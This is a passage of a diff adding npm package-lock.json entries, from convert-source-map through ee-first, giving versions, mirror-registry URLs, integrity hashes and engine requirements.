"sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true + }, + "node_modules/cookie": { + "version": "0.7.1", + "resolved": "https://registry.npmmirror.com/cookie/-/cookie-0.7.1.tgz", + "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==", + "dev": true + }, + "node_modules/copy-webpack-plugin": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/copy-webpack-plugin/-/copy-webpack-plugin-9.1.0.tgz", + "integrity": "sha512-rxnR7PaGigJzhqETHGmAcxKnLZSR5u1Y3/bcIv/1FnqXedcL/E2ewK7ZCNrArJKCiSv8yVXhTqetJh8inDvfsA==", + "dev": true, + "dependencies": { + "fast-glob": "^3.2.7", + "glob-parent": "^6.0.1", + "globby": "^11.0.3", + "normalize-path": "^3.0.0", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + } + }, + "node_modules/copy-webpack-plugin/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/core-js": { + "version": "3.39.0", + "resolved": "https://registry.npmmirror.com/core-js/-/core-js-3.39.0.tgz", + "integrity": "sha512-raM0ew0/jJUqkJ0E6e8UDtl+y/7ktFivgWvqw8dNSQeNWoSDLvQ1H/RN3aPXB9tBd4/FhyR4RDPGhsNIMsAn7g==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.39.0", + "resolved": "https://registry.npmmirror.com/core-js-compat/-/core-js-compat-3.39.0.tgz", + "integrity": "sha512-VgEUx3VwlExr5no0tXlBt+silBvhTryPwCXRI2Id1PN8WTKu7MreethvddqOubrYxkFdv/RnYrqlv1sFNAUelw==", + "dev": true, + "dependencies": { + "browserslist": "^4.24.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" + }, + "node_modules/cosmiconfig": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/cosmiconfig/-/cosmiconfig-7.1.0.tgz", + "integrity": "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==", + "dev": true, + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.2.1", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.10.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.4.1", + "resolved": "https://registry.npmmirror.com/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", + "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-loader": { + "version": "6.11.0", + "resolved": "https://registry.npmmirror.com/css-loader/-/css-loader-6.11.0.tgz", + "integrity": "sha512-CTJ+AEQJjq5NzLga5pE39qdiSV56F8ywCIsqNIRF0r7BDgWsN25aazToqAFg7ZrtA/U016xudB3ffgweORxX7g==", + "dev": true, + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.33", + "postcss-modules-extract-imports": "^3.1.0", + "postcss-modules-local-by-default": "^4.0.5", + "postcss-modules-scope": "^3.2.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.5.4" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "@rspack/core": "0.x || 1.x", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "3.4.1", + "resolved": "https://registry.npmmirror.com/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz", + "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==", + "dev": true, + "dependencies": { + "cssnano": "^5.0.6", + "jest-worker": "^27.0.2", + "postcss": "^8.3.5", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.15", + "resolved": "https://registry.npmmirror.com/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "dev": true, + "dependencies": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://registry.npmmirror.com/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "dev": true, + "dependencies": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dev": true, + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==" + }, + "node_modules/dayjs": { + "version": "1.11.13", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.13.tgz", + "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==" + }, + "node_modules/debounce": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/debounce/-/debounce-1.2.1.tgz", + "integrity": "sha512-XRRe6Glud4rd/ZGQfiV1ruXSfbvfJedlV9Y6zOlP+2K04vBYiJEte6stfFkCP03aMnY5tsipamumUjL14fofug==", + "dev": true + }, + "node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "dev": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "node_modules/deepmerge": { + "version": "1.5.2", + "resolved": "https://registry.npmmirror.com/deepmerge/-/deepmerge-1.5.2.tgz", + "integrity": "sha512-95k0GDqvBjZavkuvzx/YqVLv/6YYa17fz6ILMSf7neqQITCPbnfEnQvEgMPNjH4kgobe7+WIL0yJEHku+H3qtQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dev": true, + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/default-gateway/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/default-gateway/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-gateway/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-gateway/node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "dev": true, + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "dev": true, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dns-packet": { + "version": "5.6.1", + "resolved": "https://registry.npmmirror.com/dns-packet/-/dns-packet-5.6.1.tgz", + "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", + "dev": true, + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dev": true, + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/dom-serializer/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmmirror.com/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true + }, + "node_modules/dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmmirror.com/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==", + "dev": true + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "dev": true + }, + "node_modules/easy-stack": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/easy-stack/-/easy-stack-1.0.1.tgz", + "integrity": "sha512-wK2sCs4feiiJeFXn3zvY0p41mdU5VUgbgs1rNsc/y5ngFUijdWd+iIN8eoyuZHKB8xN6BL4PdWmzqFmxNg6V2w==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/ee-first/-/ee-first-1.1.1.tgz", + "integrity": 